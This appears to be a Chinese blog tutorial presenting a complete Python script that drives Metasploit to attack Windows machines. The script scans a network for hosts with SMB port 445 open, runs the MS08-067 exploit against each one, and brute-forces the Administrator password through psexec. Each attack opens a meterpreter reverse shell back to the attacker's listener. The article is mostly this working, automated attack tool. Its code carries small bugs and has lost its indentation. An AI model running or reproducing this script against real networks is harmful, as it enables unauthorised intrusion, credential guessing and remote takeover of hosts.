Metasploit是一款强大的漏洞扫描和利用工具,编写Python脚本与Metasploit进行交互,可以自动化的扫描和利用漏洞。

相关文章:Metasploit框架的使用

在脚本中,我们首选需要利用 nmap 模块扫描目标主机是否开放了445端口,我们写了一个 findTarget() 函数,来扫描给定ip或者给定网段中开放了目标端口的主机,返回开放了445端口的主机列表。445端口是作为SMB文件共享协议的端口,在这个端口上,经常爆发出各种高危的漏洞。 相关文章:文件共享协议之139/445端口

def findTarget(Hosts):              #扫描网段范围内开放445端口的主机
nmScan=nmap.PortScanner()
nmScan.scan(Hosts,'445')
targets=[]
for t in nmScan.all_hosts():
if nmScan[t].has_tcp(445): #如果445端口提供了协议
state=nmScan[t]['tcp'][445]['state'] #查看445端口的状态
if state=='open':
print '[+]Found Target Host:'+t
targets.append(t) return targets #返回开放445端口的主机列表

Metasploit提供了一个被称为Meterpreter的高级动态载荷,它是一种后渗透工具。当渗透进目标主机后,Meterpreter会主动连接目标主机,并提供大量 分析和控制主机的参数。我们写了setupHandler()函数,使用 exploit/multi/handler监听数据,我们设置payload为 windows/x64/meterpreter/reverse_tcp 。我们还需要设置一个全局变量DisablePayloadHandler,其作用是:我们已经新建了一个监听器,以后所有的主机都不必重复新建监听器。相关文章:Meterpreter之exploit/multi/handler木马

def setupHandler(configFile,lhost,lport):               #监听被攻击的主机
configFile.write('use exploit/multi/handler\n') #使用
configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp \n') #设定payload载荷
configFile.write('set LPORT '+str(lport)+'\n') #设置监听的端口
configFile.write('set LHOST '+lhost+'\n') #设置监听的主机,也就是我们的主机
configFile.write('set DisablePayloadHandler 1\n') #不重新监听
configFile.write('exploit -j -z\n') #监听 j选项是将所有连接的会话保持在后台 -z不与任务进行即时交换

当脚本能够在目标主机上执行漏洞利用代码时,配置函数将向Metasploit  rc 脚本中写入用于生成漏洞利用代码的目标主机、本地地址和端口。该函数还将把使用哪个漏洞利用代码的指令也写入rc脚本文件中,这里我们使用 MS_08067_netapi漏洞。此外,该函数还需要设置Payload、Lport。最后,该脚本发送一条指令在同一个任务(job)的上下文环境中( -j ),不与任务进行即时交互的条件下 ( -z ) 利用对目标计算机上的漏洞

def confickerExploit(configFile,target,lhost,lport):       #漏洞利用
configFile.write('use exploit/windows/smb/ms08_067_netapi\n') #漏洞利用代码
configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp\n')
configFile.write('set RHOST '+str(target)+'\n') #设定参数
configFile.write('set LPORT '+str(lport)+'\n')
configFile.write('set LHOST '+lhost+'\n')
configFile.write('exploit \n')

尽管如此我们已经可以成功的在被黑的主机上运行漏洞利用代码,但一旦目标主机安装了最新的安全补丁便可以阻止该代码被执行,因此我们的脚本还需要另一种攻击方式,如暴力破解SMB用户名和密码,以此获取在目标主机上远程执行一个进程的权限。输入smbBrute() 函数的参数有:Metasploit 脚本文件、目标主机、包含密码列表的另一个文件、本地地址、端口。用户名默认为windows管理员Administrator,打开密码列表文件,对于每一个密码,都会生成一个用来远程执行进程的Metasploit脚本,如果密码正确则远程执行进程的代码就会运行一个shell到攻击者本地地址对应的端口。

def smbBrute(configFile,target,passwdFile,lhost,lport):
username='Administrator'
pF=open(passwordFile,'r')
for password in pF.readlines():
password=password.strip('\n')
configFile.write('use exploit/windows/smb/psexec\n')
configFile.write('set SMBUser '+str(username)+'\n')
configFile.write('set SMBPass '+str(password)+'\n')
configFile.write('set RHOST '+str(target)+'\n')
configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp\n')
configFile.write('set LPORT '+str(lport)+'\n')
configFile.write('set LHOST '+lhost+'\n')
configFile.write('exploit -j -z\n')

最后,对上面所有的代码进行整合。

# -*- coding: utf-8 -*-
"""
Created on Sun Nov 4 16:11:33 2018
@author: 小谢
"""
import os
import optparse
import sys
import nmap
def findTarget(Hosts): #扫描网段范围内开放445端口的主机
nmScan=nmap.PortScanner()
nmScan.scan(Hosts,'445')
targets=[]
for t in nmScan.all_hosts():
if nmScan[t].has_tcp(445): #如果445端口提供了协议
state=nmScan[t]['tcp'][445]['state'] #查看445端口的状态
if state=='open':
print '[+]Found Target Host:'+t
targets.append(t)
return targets #返回开放445端口的主机列表
def setupHandler(configFile,lhost,lport): #监听被攻击的主机
configFile.write('use exploit/multi/handler\n') #使用
configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp \n') #设定payload载荷
configFile.write('set LPORT '+str(lport)+'\n') #设置监听的端口
configFile.write('set LHOST '+lhost+'\n') #设置监听的主机,也就是我们的主机
configFile.write('set DisablePayloadHandler 1\n') #不重新监听
configFile.write('exploit -j -z\n') #监听 j选项是将所有连接的会话保持在后台 -z不与任务进行即时交换 def confickerExploit(configFile,target,lhost,lport): #漏洞利用
configFile.write('use exploit/windows/smb/ms08_067_netapi\n') #漏洞利用代码
configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp\n')
configFile.write('set RHOST '+str(target)+'\n') #设定参数
configFile.write('set LPORT '+str(lport)+'\n')
configFile.write('set LHOST '+lhost+'\n')
configFile.write('exploit \n')
def smbBrute(configFile,target,passwdFile,lhost,lport): #暴力破解SMB口令
username='Administrator'
pF=open(passwordFile,'r')
for password in pF.readlines():
password=password.strip('\n')
configFile.write('use exploit/windows/smb/psexec\n')
configFile.write('set SMBUser '+str(username)+'\n')
configFile.write('set SMBPass '+str(password)+'\n')
configFile.write('set RHOST '+str(target)+'\n')
configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp\n')
configFile.write('set LPORT '+str(lport)+'\n')
configFile.write('set LHOST '+lhost+'\n')
configFile.write('exploit -j -z\n')
def main():
configFile=open('meta.rc','w') #以写入方式打开配置文件
usage='[-]Usage %prog -H <RHOSTS> -l/-L <LHOST> [-p/-P <LPORT> -F/-f <password File>]'
parser=optparse.OptionParser(usage)
parser.add_option('-H',dest='target',type='string',help='target host')
parser.add_option('-p','-P',dest='lport',type='string',help='listen port')
parser.add_option('-l','-L',dest='lhost',type='string',help='listen address')
parser.add_option('-F','-f',dest='passwdFile',type='string',help='password file')
(options,args)=parser.parse_args()
passwdFile=options.passwdFile
target=options.target
lport=options.lport
lhost=options.lhost
if (target==None)|(lhost==None):
print parser.usage
exit(0)
if options.lport==None:
lport=='2333'
targets=findTarget(options.target) #寻找目标
setupHandler(configFile,lhost,lport) #设置配置文件
for target in targets: #逐个攻击
confickerExploit(configFile,target,lhost,lport)
if passwdFile!=None:
smbBrute(configFile,target,passwdFile,lhost,lport)
configFile.close()
os.system('msfconsole -r meta.rc') #启动metasploit并读取配置文件
if __name__=='__main__':
main()

当我们运行脚本,指定好参数后,脚本就会扫描目标主机中开放了445端口的主机,将其加入到 targets 列表中,然后将要攻击的代码写入 meta.rc 配置文件中,最后启动MSF读取配置文件进行攻击!

Python脚本与Metasploit交互攻击的更多相关文章

  1. Python脚本与Metasploit交互进行自动永恒之蓝攻击

    我们首先利用 findTarget() 函数找到目标网段或目标主机中开放了445端口的主机,然后利用 confickerExploit() 函数将攻击代码写入 configure.rc 配置文件中,最 ...

  2. ArcGIS使用Python脚本工具

    在Pyhton写的一些代码,用户交互不方便,用户体验比较差,不方便重用.在ArcGIS中可以将用写的Python代码导入到ToolBox中,这样用起来就比较方便了.这里用按要素裁剪栅格的Python来 ...

  3. 用 Python 脚本实现对 Linux 服务器的监控

    目前 Linux 下有一些使用 Python 语言编写的 Linux 系统监控工具 比如 inotify-sync(文件系统安全监控软件).glances(资源监控工具)在实际工作中,Linux 系统 ...

  4. 用 Python 脚本实现对 Linux 服务器的网卡流量监控

    *这篇文章网上已经有相关代码,为了加深印象,我做了相关批注,希望对朋友们有帮助 工作原理:基于/proc文件系统 Linux 系统为管理员提供了非常好的方法,使其可以在系统运行时更改内核,而不需要重新 ...

  5. Python 脚本实现对 Linux 服务器的监控

    本文来自我的github pages博客http://galengao.github.io/ 即www.gaohuirong.cn 摘要: 原文地址 由于原文来自微信公众号,并且脚本都是图片,所以这里 ...

  6. WEB中间件--tomcat爆破,burp和python脚本

    1.tomcat 用burpsuit进行弱口令爆破 先抓包 发送到inturder payload type 选择custom iterater 第一个payload选用户名文件,第二个payload ...

  7. java 调用 python 脚本

    有时候在java项目里,需要执行Python脚本以下几种方式: 1.直接执行Python脚本代码 引用 org.python包 创建一个 python解释器,貌似这种方式不可以导入第三方库,模块... ...

  8. python ctypes 探究 ---- python 与 c 的交互

    近几天使用 python 与 c/c++ 程序交互,网上有推荐swig但效果都不理想,所以琢磨琢磨了 python 的 ctypes 模块.同时,虽然网上有这方面的内容,但是感觉还是没说清楚.这里记录 ...

  9. python 全栈开发,Day94(Promise,箭头函数,Django REST framework,生成json数据三种方式,serializers,Postman使用,外部python脚本调用django)

    昨日内容回顾 1. 内容回顾 1. VueX VueX分三部分 1. state 2. mutations 3. actions 存放数据 修改数据的唯一方式 异步操作 修改state中数据的步骤: ...

随机推荐

  1. Java的特性和优势以及不同版本的分类,jdk,jre,jvm的联系与区别,javadoc的生成

    Java 1.Java的特性和优势 Write Once,Run Anywhere 简单性 面向对象 可移植性 高性能 分布式 动态性 多线程 安全性 健壮性 2.Java的三大版本 JavaSE:标 ...

  2. 测试平台系列(5) 引入Ant Design Pro

    引入Ant Design Pro 回顾 还是继续回顾下之前的作业, 返回的中文变成了ascii字符,不要紧,我们光荣地百度一哈. 随便点进去看看,都可以找到正确答案: 可以看到,我们需要修改confi ...

  3. 树莓派 3/4 安装 FreeBSD

    已盼春来归 已盼春来归 今日去 愿为春来归 盼归春天来了 FreeBSD 的春天在哪里? 树莓派是什么,相信凡是关注了我们的人都不会不知道,但是介于非专业人员需要在此做简要介绍.我们的安卓手机,大部分 ...

  4. 输入一个字符串,按字典序打印出该字符串中字符的所有排列。例如输入字符串abc,则打印出由字符a,b,c所能排列出来的所有字符串abc,acb,bac,bca,cab和cba。

    题目描述 输入一个字符串,按字典序打印出该字符串中字符的所有排列.例如输入字符串abc,则打印出由字符a,b,c所能排列出来的所有字符串abc,acb,bac,bca,cab和cba. 输入描述: 输 ...

  5. arcgis10.2 的安装与离线发布地图

    一.ArcGIS for Desktop安装 ArcGIS安装 方法/步骤1:LicenseManager安装 1.首先要下载Arcgis 10.2软件,很大大约有4个多G.下载后可以用虚拟光驱,DA ...

  6. 常用开发库 - MapStruct工具库详解

    常用开发库 - MapStruct工具库详解 MapStruct是一款非常实用Java工具,主要用于解决对象之间的拷贝问题,比如PO/DTO/VO/QueryParam之间的转换问题.区别于BeanU ...

  7. P1423_小玉在游泳(JAVA语言)

    题目描述 小玉开心的在游泳,可是她很快难过的发现,自己的力气不够,游泳好累哦. 已知小玉第一步能游2米,可是随着越来越累,力气越来越小, 她接下来的每一步都只能游出上一步距离的98%. 现在小玉想知道 ...

  8. x64 下记事本WriteFile() API钩取

    <逆向工程核心原理>第30章 记事本WriteFile() API钩取 原文是在x86下,而在x64下函数调用方式为fastcall,前4个参数保存在寄存器中.在原代码基础上进行修改: 1 ...

  9. 计算机体系结构——CH1基本概念

    CH1基本概念 右键点击查看图像,查看清晰图像 CH1基本概念 目的与内容 了解计算机系统的完整概念 学习计算机系统的分析方法与设计方法 编写程序所必需了解的计算机属性 计算机系统结构简介 为什么要研 ...

  10. Kubernetes 常见问题总结

    Kubernetes 常见问题总结 如何删除不一致状态下的 rc,deployment,service 在某些情况下,经常发现 kubectl 进程挂起现象,然后在 get 时候发现删了一半,而另外的 ...